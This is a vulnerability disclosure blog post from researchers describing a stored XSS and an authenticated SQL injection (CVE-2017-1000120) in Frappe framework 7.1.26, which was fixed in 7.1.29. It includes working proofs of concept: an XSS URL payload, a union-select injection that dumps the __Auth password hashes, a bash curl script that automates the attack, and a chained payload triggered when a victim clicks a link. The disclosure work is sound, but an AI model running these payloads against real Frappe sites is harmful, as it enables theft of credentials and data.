Mittwoch, 21. Dezember 2016

SQL Injection in Frappe Framework

CVE-2017-1000120

This is the story how we found a stored XSS and a post-login SQL-injection in the Frappe framework (version 7.1.26), which represent quite a threat for themselves and allow for a multi-stage attack on any frappe-website if combined.

XSS

The XSS is found in frappe.handler.py, when using the /?cmd option on a page, there is a call to get_attr(cmd) (line 30).
def execute_cmd(cmd, from_async=False): """execute a request as python module""" for hook in frappe.get_hooks("override_whitelisted_methods", {}).get(cmd, []): # override using the first hook cmd = hook break method = get_attr(cmd) # line 30 if from_async: method = method.queue is_whitelisted(method) ret = frappe.call(method, **frappe.form_dict) # returns with a message if ret: frappe.response['message'] = ret ... def get_attr(cmd): """get method object from cmd""" if '.' in cmd: method = frappe.get_attr(cmd) else: method = globals()[cmd] # line 116 frappe.log("method:" + cmd) return method
If an invalid cmd is given, method = globals()[cmd] (line 116) throws an error. In the error any user input will be reflected.

Proof of concept:

http://[yourhost]/?cmd=a%3Cscript%3Eeval(atob(%22YWxlcnQoZG9jdW1lbnQuY29va2llKQ==%22));%3C/script%3E
The command itself (alert(document.cookie)) is base64 encoded, since get_attribute() separates at ‘.’ characters.
Since the error message including the malicious command is logged in the admin interface (Error-Snapshot), this represents a stored XSS (admin only) and a reflected XSS for any other given user.

SQLi (CVE-2017-1000120)

The SQL-injection is found in frappe.share.py in the get_users() (line 86) function. Since this function is whitelisted, it may be called with any valid user account (no special privileges).
def get_users(doctype, name, fields="*"): """Get list of users with which this document is shared""" if isinstance(fields, (tuple, list)): fields = "`{0}`".format("`, `".join(fields)) return frappe.db.sql( "select {0} from tabDocShare where share_doctype=%s and share_name=%s" .format(fields), (doctype, name), as_dict=True) #line 86
As the code snippet shows, unfiltered user input is directly inserted into the SQL statement (using Python’s format()). Calling the following command from the JSConsole with a logged in account yields the __Auth database.
frappe.call({method: "frappe.share.get_users", args: {doctype: "", name: "", fields: "name, password, salt from __Auth union select 1,1,1"}, callback: function (r) {}})

POC:

#!/bin/bash URL="http://$1:$2/" USERNAME=? PASSWORD=? PAYLOAD="doctype=&name=&fields=name%2C+password%2C+salt+from+__Auth+union+select+1%2C1%2C1&cmd=frappe.share.get_users" echo "Target URL: $URL" # Login echo "Try login with test@test.de pw:test ..." curl -v -d "cmd=login&usr=$USERNAME&pwd=$PASSWORD&device=desktop" "$URL" > /tmp/frappe_login.txt 2>&1 cat /tmp/frappe_login.txt | grep Cookie | awk '{print $3}' | tr "\n" " " > /tmp/frappe_cookies.txt echo "Got Session Cookie: `cat /tmp/frappe_cookies.txt`" curl --cookie "`cat /tmp/frappe_cookies.txt`" ${URL}desk 2>/dev/null | grep csrf_token | awk -F\" '{print $2}' > /tmp/frappe_csrf_token.txt echo "Got CSRF Token: `cat /tmp/frappe_csrf_token.txt`" # SQL Injection echo "Trigger SQL Injection..." curl --header "X-Frappe-CSRF-Token: `cat /tmp/frappe_csrf_token.txt`" --cookie "`cat /tmp/frappe_cookies.txt`" -d $PAYLOAD $URL # Clean up rm /tmp/frappe_login.txt rm /tmp/frappe_cookies.txt rm /tmp/frappe_csrf_token.txt
Both issues have been fixed in a very timely manner (nice work from the frappe team here). The fix is included in version 7.1.29 of the frappe framework.

Multistage

To line out the pretty critical nature of the exploits, here is a combination of both, which allows database disclosure if any logged-in victim clicks on a malicious link or the administrator reads error-logs:
http://[yourhost]/?cmd=a%3Cscript%3Eeval(atob(%22ZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcignRE9NQ29udGVudExvYWRlZCcsIGZ1bmN0aW9uKCkgew0KICAgeD1mcmFwcGUuY2FsbCh7bWV0aG9kOiAiZnJhcHBlLnNoYXJlLmdldF91c2VycyIsIGFyZ3M6IHtkb2N0eXBlOiAiIiwgbmFtZTogIiIsZmllbGRzOiAibmFtZSwgcGFzc3dvcmQsIHNhbHQgZnJvbSBfX0F1dGggdW5pb24gc2VsZWN0IDEsMSwxIn0sY2FsbGJhY2s6IGZ1bmN0aW9uKHIpIHt9fSk7DQogICBhbGVydCgiWFNTISBBbmQgZXZlbiBiZXR0ZXIsIGNsaWNrIG9rYXkgdG8gc2VlIHNvbWUgbWFnaWMhIik7DQogICBhbGVydChKU09OLnN0cmluZ2lmeSh4LnJlc3BvbnNlSlNPTikpOw0KfSwgZmFsc2UpOw==%22));%3C/script%3E
Here the non-encoded POC:
document.addEventListener('DOMContentLoaded', function() { x=frappe.call({method: "frappe.share.get_users", args: {doctype: "", name: "",fields: "name, password, salt from __Auth union select 1,1,1"},callback: function(r) {}}); alert("XSS! And even better, click okay to see some magic!"); alert(JSON.stringify(x.responseJSON)); }, false);
The EventListener is used since we need to access some JS which is loaded after our XSS, so we needed to delay the malicious code.

Fabian Ullrich (fullrich[at]fullsec.de), Dennis Mantz (dennis.mantz@googlemail.com)

Link to CVE: http://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-1000120